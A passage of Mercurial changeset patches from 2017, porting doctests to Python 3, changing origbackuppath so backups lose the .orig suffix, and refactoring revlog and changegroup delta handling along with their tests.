-    >>> print trim(t, 8)
+    >>> bprint(trim(t, 8))
     \x11\x22\x33\x44\x55\x66\x77\x88
-    >>> print trim(t, 8, leftside=True)
+    >>> bprint(trim(t, 8, leftside=True))
     \x33\x44\x55\x66\x77\x88\x99\xaa
-    >>> print trim(t, 3, ellipsis=ellipsis)
+    >>> bprint(trim(t, 3, ellipsis=ellipsis))
     +++
-    >>> print trim(t, 1, ellipsis=ellipsis)
+    >>> bprint(trim(t, 1, ellipsis=ellipsis))
     +
     """
     try:
diff --git a/mercurial/match.py b/mercurial/match.py
--- a/mercurial/match.py
+++ b/mercurial/match.py
@@ -5,7 +5,7 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import copy
 import os
@@ -580,6 +580,7 @@
 
     The paths are remapped to remove/insert the path as needed:
 
+    >>> from . import pycompat
     >>> m1 = match(b'root', b'', [b'a.txt', b'sub/b.txt'])
     >>> m2 = subdirmatcher(b'sub', m1)
     >>> bool(m2(b'a.txt'))
@@ -597,7 +598,7 @@
     >>> util.pconvert(m2.rel(b'b.txt'))
     'sub/b.txt'
     >>> def bad(f, msg):
-    ...     print b"%s: %s" % (f, msg)
+    ...     print(pycompat.sysstr(b"%s: %s" % (f, msg)))
     >>> m1.bad = bad
     >>> m2.bad(b'x.txt', b'No such file')
     sub/x.txt: No such file
@@ -703,21 +704,24 @@
 def _globre(pat):
     r'''Convert an extended glob string to a regexp string.
 
-    >>> print _globre(br'?')
+    >>> from . import pycompat
+    >>> def bprint(s):
+    ...     print(pycompat.sysstr(s))
+    >>> bprint(_globre(br'?'))
     .
-    >>> print _globre(br'*')
+    >>> bprint(_globre(br'*'))
     [^/]*
-    >>> print _globre(br'**')
+    >>> bprint(_globre(br'**'))
     .*
-    >>> print _globre(br'**/a')
+    >>> bprint(_globre(br'**/a'))
     (?:.*/)?a
-    >>> print _globre(br'a/**/b')
+    >>> bprint(_globre(br'a/**/b'))
     a\/(?:.*/)?b
-    >>> print _globre(br'[a*?!^][^b][!c]')
+    >>> bprint(_globre(br'[a*?!^][^b][!c]'))
     [a*?!^][\^b][^c]
-    >>> print _globre(br'{a,b}')
+    >>> bprint(_globre(br'{a,b}'))
     (?:a|b)
-    >>> print _globre(br'.\*\?')
+    >>> bprint(_globre(br'.\*\?'))
     \.\*\?
     '''
     i, n = 0, len(pat)
diff --git a/mercurial/parser.py b/mercurial/parser.py
--- a/mercurial/parser.py
+++ b/mercurial/parser.py
@@ -16,7 +16,7 @@
 # an action is a tree node name, a tree label, and an optional match
 # __call__(program) parses program into a labeled tree
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 from .i18n import _
 from . import (
@@ -220,8 +220,10 @@
 def simplifyinfixops(tree, targetnodes):
     """Flatten chained infix operations to reduce usage of Python stack
 
+    >>> from . import pycompat
     >>> def f(tree):
-    ...     print prettyformat(simplifyinfixops(tree, (b'or',)), (b'symbol',))
+    ...     s = prettyformat(simplifyinfixops(tree, (b'or',)), (b'symbol',))
+    ...     print(pycompat.sysstr(s))
     >>> f((b'or',
     ...     (b'or',
     ...       (b'symbol', b'1'),
@@ -555,6 +557,7 @@
         ``args`` is a list of alias argument names, or None if the alias
         is declared as a symbol.
 
+        >>> from . import pycompat
         >>> parsemap = {
         ...     b'$1 or foo': (b'or', (b'symbol', b'$1'), (b'symbol', b'foo')),
         ...     b'$1 or $bar':
@@ -569,7 +572,8 @@
         ...     _trygetfunc = staticmethod(lambda x: None)
         >>> builddefn = aliasrules._builddefn
         >>> def pprint(tree):
-        ...     print prettyformat(tree, (b'_aliasarg', b'string', b'symbol'))
+        ...     s = prettyformat(tree, (b'_aliasarg', b'string', b'symbol'))
+        ...     print(pycompat.sysstr(s))
         >>> args = [b'$1', b'$2', b'foo']
         >>> pprint(builddefn(b'$1 or foo', args))
         (or
@@ -578,7 +582,7 @@
         >>> try:
         ...     builddefn(b'$1 or $bar', args)
         ... except error.ParseError as inst:
-        ...     print parseerrordetail(inst)
+        ...     print(pycompat.sysstr(parseerrordetail(inst)))
         invalid symbol '$bar'
         >>> args = [b'$1', b'$10', b'foo']
         >>> pprint(builddefn(b'$10 or baz', args))
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -6,7 +6,7 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import collections
 import copy
@@ -1505,7 +1505,7 @@
     ...      c.write(fp)
     >>> fp.seek(0)
     >>> reversedpatch = fp.read()
-    >>> print reversedpatch
+    >>> print(pycompat.sysstr(reversedpatch))
     diff --git a/folder1/g b/folder1/g
     --- a/folder1/g
     +++ b/folder1/g
@@ -1562,7 +1562,7 @@
     ...     header.write(out)
     ...     for hunk in header.hunks:
     ...         hunk.write(out)
-    >>> print(out.getvalue())
+    >>> print(pycompat.sysstr(out.getvalue()))
     diff --git a/folder1/g b/folder1/g
     --- a/folder1/g
     +++ b/folder1/g
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -5,7 +5,7 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import os
 import re
@@ -192,7 +192,7 @@
     """Expand list of templates to node tuple
 
     >>> def f(tree):
-    ...     print prettyformat(_unnesttemplatelist(tree))
+    ...     print(pycompat.sysstr(prettyformat(_unnesttemplatelist(tree))))
     >>> f((b'template', []))
     (string '')
     >>> f((b'template', [(b'string', b'foo')]))
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -13,7 +13,7 @@
 hide platform-specific details from the core.
 """
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import abc
 import bz2
@@ -2836,9 +2836,9 @@
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
-        >>> print url(br'bundle:foo\bar')
+        >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
-        >>> print url(br'file:///D:\data\hg')
+        >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504419361 -32400
#      Sun Sep 03 15:16:01 2017 +0900
# Node ID 0f9936d80e01259ddcacb767437816ef277d6393
# Parent  a8994d08e4a289828f722edd31540458161a38df
doctest: upgrade old-style "except" clause

diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -155,7 +155,7 @@
 def inserthgheader(lines, header, value):
     """Assuming lines contains a HG patch header, add a header line with value.
     >>> try: inserthgheader([], b'# Date ', b'z')
-    ... except ValueError, inst: print("oops")
+    ... except ValueError as inst: print("oops")
     oops
     >>> inserthgheader([b'# HG changeset patch'], b'# Date ', b'z')
     ['# HG changeset patch', '# Date z']
diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -157,7 +157,7 @@
 
         >>> from . import pycompat
         >>> try: list(parsedag(b'+1 bad'))
-        ... except Exception, e: print(pycompat.sysstr(bytes(e)))
+        ... except Exception as e: print(pycompat.sysstr(bytes(e)))
         invalid character in dag description: bad...
 
     '''
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504427590 -32400
#      Sun Sep 03 17:33:10 2017 +0900
# Node ID be00af4a1ac5c07de92f2a3de41434ad9052bf24
# Parent  0f9936d80e01259ddcacb767437816ef277d6393
doctest: coerce dict.keys() to list

Otherwise it would be printed as odict_keys([...]) on Python 3.

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -489,10 +489,10 @@
     ...     x = _parseexpr(expr)
     ...     n = getsymbol(x[1])
     ...     return _buildfuncargs(x[2], context, exprmethods, n, argspec)
-    >>> fargs(b'a(l=1, k=2)', b'k l m').keys()
+    >>> list(fargs(b'a(l=1, k=2)', b'k l m').keys())
     ['l', 'k']
     >>> args = fargs(b'a(opts=1, k=2)', b'**opts')
-    >>> args.keys(), args[b'opts'].keys()
+    >>> list(args.keys()), list(args[b'opts'].keys())
     (['opts'], ['opts', 'k'])
     """
     def compiledict(xs):
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -584,7 +584,7 @@
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
-    >>> d2.keys() # should still be in last-set order
+    >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1503581608 -32400
#      Thu Aug 24 22:33:28 2017 +0900
# Node ID 52ec9ac0303b4d90f0cf582a70273570d5c25536
# Parent  be00af4a1ac5c07de92f2a3de41434ad9052bf24
doctest: normalize b'', u'' and exception output on Python 3

The idea is described in the following page.

https://dirkjan.ochtman.nl/writing/2014/07/06/single-source-python-23-doctests.html

# no-check-commit

diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -4,6 +4,7 @@
 
 import doctest
 import os
+import re
 import sys
 
 ispy3 = (sys.version_info[0] >= 3)
@@ -11,6 +12,18 @@
 if 'TERM' in os.environ:
     del os.environ['TERM']
 
+class py3docchecker(doctest.OutputChecker):
+    def check_output(self, want, got, optionflags):
+        want2 = re.sub(r'''\bu(['"])(.*?)\1''', r'\1\2\1', want)  # py2: u''
+        got2 = re.sub(r'''\bb(['"])(.*?)\1''', r'\1\2\1', got)  # py3: b''
+        # py3: <exc.name>: b'<msg>' -> <name>: <msg>
+        #      <exc.name>: <others> -> <name>: <others>
+        got2 = re.sub(r'''^mercurial\.\w+\.(\w+): (['"])(.*?)\2''', r'\1: \3',
+                      got2, re.MULTILINE)
+        got2 = re.sub(r'^mercurial\.\w+\.(\w+): ', r'\1: ', got2, re.MULTILINE)
+        return any(doctest.OutputChecker.check_output(self, w, g, optionflags)
+                   for w, g in [(want, got), (want2, got2)])
+
 # TODO: migrate doctests to py3 and enable them on both versions
 def testmod(name, optionflags=0, testtarget=None, py2=True, py3=False):
     if not (not ispy3 and py2 or ispy3 and py3):
@@ -19,7 +32,16 @@
     mod = sys.modules[name]
     if testtarget is not None:
         mod = getattr(mod, testtarget)
-    doctest.testmod(mod, optionflags=optionflags)
+
+    # minimal copy of doctest.testmod()
+    finder = doctest.DocTestFinder()
+    checker = None
+    if ispy3:
+        checker = py3docchecker()
+    runner = doctest.DocTestRunner(checker=checker, optionflags=optionflags)
+    for test in finder.find(mod, name):
+        runner.run(test)
+    runner.summarize()
 
 testmod('mercurial.changegroup')
 testmod('mercurial.changelog')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504418944 -32400
#      Sun Sep 03 15:09:04 2017 +0900
# Node ID 9b4d7d4855f5d2abb6c715da680862993de30254
# Parent  52ec9ac0303b4d90f0cf582a70273570d5c25536
doctest: enable tests by default on Python 3

Still several tests fail mostly because of the string issues, sigh. I'll
fix them one by one.

diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -25,7 +25,7 @@
                    for w, g in [(want, got), (want2, got2)])
 
 # TODO: migrate doctests to py3 and enable them on both versions
-def testmod(name, optionflags=0, testtarget=None, py2=True, py3=False):
+def testmod(name, optionflags=0, testtarget=None, py2=True, py3=True):
     if not (not ispy3 and py2 or ispy3 and py3):
         return
     __import__(name)
@@ -48,30 +48,31 @@
 testmod('mercurial.color')
 testmod('mercurial.config')
 testmod('mercurial.context')
-testmod('mercurial.dagparser', optionflags=doctest.NORMALIZE_WHITESPACE)
+testmod('mercurial.dagparser', optionflags=doctest.NORMALIZE_WHITESPACE,
+        py3=False)  # py3: use of str()
 testmod('mercurial.dispatch')
-testmod('mercurial.encoding')
-testmod('mercurial.formatter')
+testmod('mercurial.encoding', py3=False)  # py3: multiple encoding issues
+testmod('mercurial.formatter', py3=False)  # py3: write bytes to stdout
 testmod('mercurial.hg')
-testmod('mercurial.hgweb.hgwebdir_mod')
+testmod('mercurial.hgweb.hgwebdir_mod', py3=False)  # py3: repr(bytes) ?
 testmod('mercurial.match')
 testmod('mercurial.mdiff')
 testmod('mercurial.minirst')
-testmod('mercurial.patch')
-testmod('mercurial.pathutil')
+testmod('mercurial.patch', py3=False)  # py3: bytes[n], etc. ?
+testmod('mercurial.pathutil', py3=False)  # py3: os.sep
 testmod('mercurial.parser')
-testmod('mercurial.pycompat', py3=True)
+testmod('mercurial.pycompat')
 testmod('mercurial.revsetlang')
 testmod('mercurial.smartset')
-testmod('mercurial.store')
+testmod('mercurial.store', py3=False)  # py3: bytes[n]
 testmod('mercurial.subrepo')
 testmod('mercurial.templatefilters')
 testmod('mercurial.templater')
-testmod('mercurial.ui')
+testmod('mercurial.ui', py3=False)  # py3: __name__
 testmod('mercurial.url')
-testmod('mercurial.util')
+testmod('mercurial.util', py3=False)  # py3: multiple bytes/unicode issues
 testmod('mercurial.util', testtarget='platform')
-testmod('hgext.convert.convcmd')
+testmod('hgext.convert.convcmd', py3=False)  # py3: use of str() ?
 testmod('hgext.convert.cvsps')
 testmod('hgext.convert.filemap')
 testmod('hgext.convert.p4')
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1505269621 25200
#      Tue Sep 12 19:27:01 2017 -0700
# Node ID 24bf823377fcbf49fec9da8adb796924dff91c73
# Parent  9b4d7d4855f5d2abb6c715da680862993de30254
merge: move cwd-missing detection to helper functions

This will exist in two places with defered writes, so we want to avoid
duplication.

Differential Revision: https://phab.mercurial-scm.org/D626

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1084,18 +1084,21 @@
 
     return prunedactions, diverge, renamedelete
 
+def _getcwd():
+    try:
+        return pycompat.getcwd()
+    except OSError as err:
+        if err.errno == errno.ENOENT:
+            return None
+        raise
+
 def batchremove(repo, wctx, actions):
     """apply removes to the working directory
 
     yields tuples for progress updates
     """
     verbose = repo.ui.verbose
-    try:
-        cwd = pycompat.getcwd()
-    except OSError as err:
-        if err.errno != errno.ENOENT:
-            raise
-        cwd = None
+    cwd = _getcwd()
     i = 0
     for f, args, msg in actions:
         repo.ui.debug(" %s: %s -> r\n" % (f, msg))
@@ -1113,18 +1116,12 @@
         i += 1
     if i > 0:
         yield i, f
-    if cwd:
-        # cwd was present before we started to remove files
-        # let's check if it is present after we removed them
-        try:
-            pycompat.getcwd()
-        except OSError as err:
-            if err.errno != errno.ENOENT:
-                raise
-            # Print a warning if cwd was deleted
-            repo.ui.warn(_("current directory was removed\n"
-                           "(consider changing to repo root: %s)\n") %
-                         repo.root)
+
+    if cwd and not _getcwd():
+        # cwd was removed in the course of removing files; print a helpful
+        # warning.
+        repo.ui.warn(_("current directory was removed\n"
+                       "(consider changing to repo root: %s)\n") % repo.root)
 
     # It's necessary to flush here in case we're inside a worker fork and will
     # quit after this function.
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1505152189 0
#      Mon Sep 11 17:49:49 2017 +0000
# Node ID 9e4f82bc2b0b2bf14dda60a2d714b34fcd8b3395
# Parent  24bf823377fcbf49fec9da8adb796924dff91c73
scmutil: don't append .orig to backups in origbackuppath (BC)

When ui.origbackuppath is set, .orig files are stored outside of the working
copy, however they still have a .orig suffix appended to them.  This can cause
unexpected conflicts, particularly when tracked files or directories have .orig
at the end.

This change removes the .orig suffix from files stored in an out-of-tree
origbackuppath.

Test Plan:
Update and run unit tests.

Differential Revision: https://phab.mercurial-scm.org/D679

diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -2007,7 +2007,9 @@
 
 ``origbackuppath``
     The path to a directory used to store generated .orig files. If the path is
-    not a directory, one will be created.
+    not a directory, one will be created.  If set, files stored in this
+    directory have the same name as the original file and do not have a .orig
+    suffix.
 
 ``paginate``
   Control the pagination of command output (default: True). See :hg:`help pager`
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -553,7 +553,7 @@
     '''customize where .orig files are created
 
     Fetch user defined path from config file: [ui] origbackuppath = <path>
-    Fall back to default (filepath) if not specified
+    Fall back to default (filepath with .orig suffix) if not specified
     '''
     origbackuppath = ui.config('ui', 'origbackuppath')
     if origbackuppath is None:
@@ -567,7 +567,7 @@
         ui.note(_('creating directory: %s\n') % origbackupdir)
         util.makedirs(origbackupdir)
 
-    return fullorigpath + ".orig"
+    return fullorigpath
 
 class _containsnode(object):
     """proxy __contains__(node) to container.__contains__ which accepts revs"""
diff --git a/tests/test-largefiles-misc.t b/tests/test-largefiles-misc.t
--- a/tests/test-largefiles-misc.t
+++ b/tests/test-largefiles-misc.t
@@ -528,13 +528,13 @@
   $ echo moremore >> anotherlarge
   $ hg revert anotherlarge -v --config 'ui.origbackuppath=.hg/origbackups'
   creating directory: $TESTTMP/addrm2/.hg/origbackups/.hglf/sub (glob)
-  saving current version of ../.hglf/sub/anotherlarge as $TESTTMP/addrm2/.hg/origbackups/.hglf/sub/anotherlarge.orig (glob)
+  saving current version of ../.hglf/sub/anotherlarge as $TESTTMP/addrm2/.hg/origbackups/.hglf/sub/anotherlarge (glob)
   reverting ../.hglf/sub/anotherlarge (glob)
   creating directory: $TESTTMP/addrm2/.hg/origbackups/sub (glob)
   found 90c622cf65cebe75c5842f9136c459333faf392e in store
   found 90c622cf65cebe75c5842f9136c459333faf392e in store
   $ ls ../.hg/origbackups/sub
-  anotherlarge.orig
+  anotherlarge
   $ cd ..
 
 Test glob logging from the root dir
diff --git a/tests/test-merge-local.t b/tests/test-merge-local.t
--- a/tests/test-merge-local.t
+++ b/tests/test-merge-local.t
@@ -110,7 +110,7 @@
 
 Are orig files from the last commit where we want them?
   $ ls .hg/origbackups
-  zzz2_merge_bad.orig
+  zzz2_merge_bad
 
   $ hg diff --nodates | grep "^[+-][^<>]"
   --- a/zzz1_merge_ok
diff --git a/tests/test-mq-qpush-fail.t b/tests/test-mq-qpush-fail.t
--- a/tests/test-mq-qpush-fail.t
+++ b/tests/test-mq-qpush-fail.t
@@ -465,7 +465,7 @@
 test previous qpop (with --force and --config) saved .orig files to where user
 wants them
   $ ls .hg/origbackups
-  b.orig
+  b
   $ rm -rf .hg/origbackups
 
   $ cd ..
diff --git a/tests/test-mq.t b/tests/test-mq.t
--- a/tests/test-mq.t
+++ b/tests/test-mq.t
@@ -1388,7 +1388,7 @@
   $ hg qpush -f --verbose --config 'ui.origbackuppath=.hg/origbackups'
   applying empty
   creating directory: $TESTTMP/forcepush/.hg/origbackups (glob)
-  saving current version of hello.txt as $TESTTMP/forcepush/.hg/origbackups/hello.txt.orig (glob)
+  saving current version of hello.txt as $TESTTMP/forcepush/.hg/origbackups/hello.txt (glob)
   patching file hello.txt
   committing files:
   hello.txt
@@ -1422,7 +1422,7 @@
 test that the previous call to qpush with -f (--force) and --config actually put
 the orig files out of the working copy
   $ ls .hg/origbackups
-  hello.txt.orig
+  hello.txt
 
 test popping revisions not in working dir ancestry
 
diff --git a/tests/test-resolve.t b/tests/test-resolve.t
--- a/tests/test-resolve.t
+++ b/tests/test-resolve.t
@@ -255,8 +255,8 @@
   warning: conflicts while merging file2! (edit, then use 'hg resolve --mark')
   [1]
   $ ls .hg/origbackups
-  file1.orig
-  file2.orig
+  file1
+  file2
   $ grep '<<<' file1 > /dev/null
   $ grep '<<<' file2 > /dev/null
 
diff --git a/tests/test-revert.t b/tests/test-revert.t
--- a/tests/test-revert.t
+++ b/tests/test-revert.t
@@ -92,7 +92,7 @@
   $ echo z > e
   $ hg revert --all -v --config 'ui.origbackuppath=.hg/origbackups'
   creating directory: $TESTTMP/repo/.hg/origbackups (glob)
-  saving current version of e as $TESTTMP/repo/.hg/origbackups/e.orig (glob)
+  saving current version of e as $TESTTMP/repo/.hg/origbackups/e (glob)
   reverting e
   $ rm -rf .hg/origbackups
 
diff --git a/tests/test-shelve.t b/tests/test-shelve.t
--- a/tests/test-shelve.t
+++ b/tests/test-shelve.t
@@ -1260,7 +1260,7 @@
   unresolved conflicts (see 'hg resolve', then 'hg unshelve --continue')
   [1]
   $ ls .hg/origbackups
-  root.orig
+  root
   $ rm -rf .hg/origbackups
 
 test Abort unshelve always gets user out of the unshelved state
diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
--- a/tests/test-subrepo-git.t
+++ b/tests/test-subrepo-git.t
@@ -885,9 +885,9 @@
   $ hg revert --all --verbose --config 'ui.origbackuppath=.hg/origbackups'
   reverting subrepo ../gitroot
   creating directory: $TESTTMP/tc/.hg/origbackups (glob)
-  saving current version of foobar as $TESTTMP/tc/.hg/origbackups/foobar.orig (glob)
+  saving current version of foobar as $TESTTMP/tc/.hg/origbackups/foobar (glob)
   $ ls .hg/origbackups
-  foobar.orig
+  foobar
   $ rm -rf .hg/origbackups
 
 show file at specific revision
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505324596 25200
#      Wed Sep 13 10:43:16 2017 -0700
# Node ID b96cfc309ac526dbaee6e9066dc52cd2b9e51dc0
# Parent  9e4f82bc2b0b2bf14dda60a2d714b34fcd8b3395
revlog: refactor chain variable

Previously the addgroup loop would set chain to be the result of
self._addrevision(node,...). Since _addrevision now always returns the passed in
node, we can drop that behavior and just always set chain = node in the loop.

This will be useful in a future patch where we refactor the cg.deltachunk logic
to another function and therefore chain disappears entirely from this function.

Differential Revision: https://phab.mercurial-scm.org/D699

diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -1916,11 +1916,11 @@
                 flags = chunkdata['flags'] or REVIDX_DEFAULT_FLAGS
 
                 nodes.append(node)
+                chain = node
 
                 link = linkmapper(cs)
                 if node in self.nodemap:
                     # this can happen if two branches make the same change
-                    chain = node
                     continue
 
                 for p in (p1, p2):
@@ -1954,13 +1954,13 @@
                 # We're only using addgroup() in the context of changegroup
                 # generation so the revision data can always be handled as raw
                 # by the flagprocessor.
-                chain = self._addrevision(node, None, transaction, link,
-                                          p1, p2, flags, (baserev, delta),
-                                          ifh, dfh,
-                                          alwayscache=bool(addrevisioncb))
+                self._addrevision(node, None, transaction, link,
+                                  p1, p2, flags, (baserev, delta),
+                                  ifh, dfh,
+                                  alwayscache=bool(addrevisioncb))
 
                 if addrevisioncb:
-                    addrevisioncb(self, chain)
+                    addrevisioncb(self, node)
 
                 if not dfh and not self._inline:
                     # addrevision switched from inline to conventional
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505324624 25200
#      Wed Sep 13 10:43:44 2017 -0700
# Node ID c8b6ed51386bf7dbcc746d5ac2835c38937a9e26
# Parent  b96cfc309ac526dbaee6e9066dc52cd2b9e51dc0
changegroup: remove changegroup dependency from revlog.addgroup

Previously revlog.addgroup would accept a changegroup and a linkmapper and use
it to iterate of the deltas. As part of untangling the revlog-changegroup
interdependency, let's move the changegroup delta iteration logic to it's own
function and pass the simple iterator to the revlog instead.

This will make it easier to introduce non-revlogs stores in the future, without
reinventing any changegroup specific logic.

Differential Revision: https://phab.mercurial-scm.org/D688

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -245,7 +245,8 @@
         # no new manifest will be created and the manifest group will
         # be empty during the pull
         self.manifestheader()
-        repo.manifestlog._revlog.addgroup(self, revmap, trp)
+        deltas = self.deltaiter(revmap)
+        repo.manifestlog._revlog.addgroup(deltas, trp)
         repo.ui.progress(_('manifests'), None)
         self.callback = None
 
@@ -307,7 +308,8 @@
                 efiles.update(cl.readfiles(node))
 
             self.changelogheader()
-            cgnodes = cl.addgroup(self, csmap, trp, addrevisioncb=onchangelog)
+            deltas = self.deltaiter(csmap)
+            cgnodes = cl.addgroup(deltas, trp, addrevisioncb=onchangelog)
             efiles = len(efiles)
 
             if not cgnodes:
@@ -428,6 +430,27 @@
             ret = deltaheads + 1
         return ret
 
+    def deltaiter(self, linkmapper):
+        """
+        returns an iterator of the deltas in this changegroup
+
+        Useful for passing to the underlying storage system to be stored.
+        """
+        chain = None
+        for chunkdata in iter(lambda: self.deltachunk(chain), {}):
+            node = chunkdata['node']
+            p1 = chunkdata['p1']
+            p2 = chunkdata['p2']
+            cs = chunkdata['cs']
+            deltabase = chunkdata['deltabase']
+            delta = chunkdata['delta']
+            flags = chunkdata['flags']
+
+            link = linkmapper(cs)
+            chain = node
+
+            yield (node, p1, p2, link, deltabase, delta, flags)
+
 class cg2unpacker(cg1unpacker):
     """Unpacker for cg2 streams.
 
@@ -468,7 +491,8 @@
             d = chunkdata["filename"]
             repo.ui.debug("adding %s revisions\n" % d)
             dirlog = repo.manifestlog._revlog.dirlog(d)
-            if not dirlog.addgroup(self, revmap, trp):
+            deltas = self.deltaiter(revmap)
+            if not dirlog.addgroup(deltas, trp):
                 raise error.Abort(_("received dir revlog group is empty"))
 
 class headerlessfixup(object):
@@ -949,7 +973,8 @@
         fl = repo.file(f)
         o = len(fl)
         try:
-            if not fl.addgroup(source, revmap, trp):
+            deltas = source.deltaiter(revmap)
+            if not fl.addgroup(deltas, trp):
                 raise error.Abort(_("received file revlog group is empty"))
         except error.CensoredBaseError as e:
             raise error.Abort(_("received delta base is censored: %s") % e)
diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -1872,7 +1872,7 @@
             ifh.write(data[1])
             self.checkinlinesize(transaction, ifh)
 
-    def addgroup(self, cg, linkmapper, transaction, addrevisioncb=None):
+    def addgroup(self, deltas, transaction, addrevisioncb=None):
         """
         add a delta group
 
@@ -1905,20 +1905,12 @@
             ifh.flush()
         try:
             # loop through our set of deltas
-            chain = None
-            for chunkdata in iter(lambda: cg.deltachunk(chain), {}):
-                node = chunkdata['node']
-                p1 = chunkdata['p1']
-                p2 = chunkdata['p2']
-                cs = chunkdata['cs']
-                deltabase = chunkdata['deltabase']
-                delta = chunkdata['delta']
-                flags = chunkdata['flags'] or REVIDX_DEFAULT_FLAGS
+            for data in deltas:
+                node, p1, p2, link, deltabase, delta, flags = data
+                flags = flags or REVIDX_DEFAULT_FLAGS
 
                 nodes.append(node)
-                chain = node
 
-                link = linkmapper(cs)
                 if node in self.nodemap:
                     # this can happen if two branches make the same change
                     continue
diff --git a/tests/test-revlog-raw.py b/tests/test-revlog-raw.py
--- a/tests/test-revlog-raw.py
+++ b/tests/test-revlog-raw.py
@@ -119,11 +119,28 @@
                     'deltabase': rlog.node(deltaparent),
                     'delta': rlog.revdiff(deltaparent, r)}
 
+        def deltaiter(self, linkmapper):
+            chain = None
+            for chunkdata in iter(lambda: self.deltachunk(chain), {}):
+                node = chunkdata['node']
+                p1 = chunkdata['p1']
+                p2 = chunkdata['p2']
+                cs = chunkdata['cs']
+                deltabase = chunkdata['deltabase']
+                delta = chunkdata['delta']
+                flags = chunkdata['flags']
+
+                link = linkmapper(cs)
+                chain = node
+
+                yield (node, p1, p2, link, deltabase, delta, flags)
+
     def linkmap(lnode):
         return rlog.rev(lnode)
 
     dlog = newrevlog(destname, recreate=True)
-    dlog.addgroup(dummychangegroup(), linkmap, tr)
+    dummydeltas = dummychangegroup().deltaiter(linkmap)
+    dlog.addgroup(dummydeltas, tr)
     return dlog
 
 def lowlevelcopy(rlog, tr, destname=b'_destrevlog.i'):
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505162362 25200
#      Mon Sep 11 13:39:22 2017 -0700
# Node ID 75cc1f1e11f2cd41e18b55842f5a7b19c31fa993
# Parent  c8b6ed51386bf7dbcc746d5ac2835c38937a9e26
changegroup: add source parameter to generatemanifests

Extensions, like remotefilelog, will want to look at the source of a pull when
determining what manifests to add to a changegroup. For instance, on push they
will include everything, while on pull they won't.

Differential Revision: https://phab.mercurial-scm.org/D686

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -662,7 +662,7 @@
             'treemanifest' not in repo.requirements)
 
         for chunk in self.generatemanifests(commonrevs, clrevorder,
-                fastpathlinkrev, mfs, fnodes):
+                fastpathlinkrev, mfs, fnodes, source):
             yield chunk
         mfs.clear()
         clrevs = set(cl.rev(x) for x in clnodes)
@@ -688,7 +688,12 @@
             repo.hook('outgoing', node=hex(clnodes[0]), source=source)
 
     def generatemanifests(self, commonrevs, clrevorder, fastpathlinkrev, mfs,
-                          fnodes):
+                          fnodes, source):
+        """Returns an iterator of changegroup chunks containing manifests.
+
+        `source` is unused here, but is used by extensions like remotefilelog to
+        change what is sent based in pulls vs pushes, etc.
+        """
         repo = self._repo
         mfl = repo.manifestlog
         dirlog = mfl._revlog.dirlog
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505348205 25200
#      Wed Sep 13 17:16:45 2017 -0700
# Node ID e9e0e1143fc5e6b990e7521026996b23fc37ab79
# Parent  75cc1f1e11f2cd41e18b55842f5a7b19c31fa993
bundle2: move part iterator a separate class

Currently, the part iterator logic is tightly coupled with the part handling
logic, which means it's hard to replace the part handling logic without
duplicating the part iterator bits.

In a future diff we'll want to be able to replace all part handling, so let's
begin refactoring the part iterator logic to it's own class.

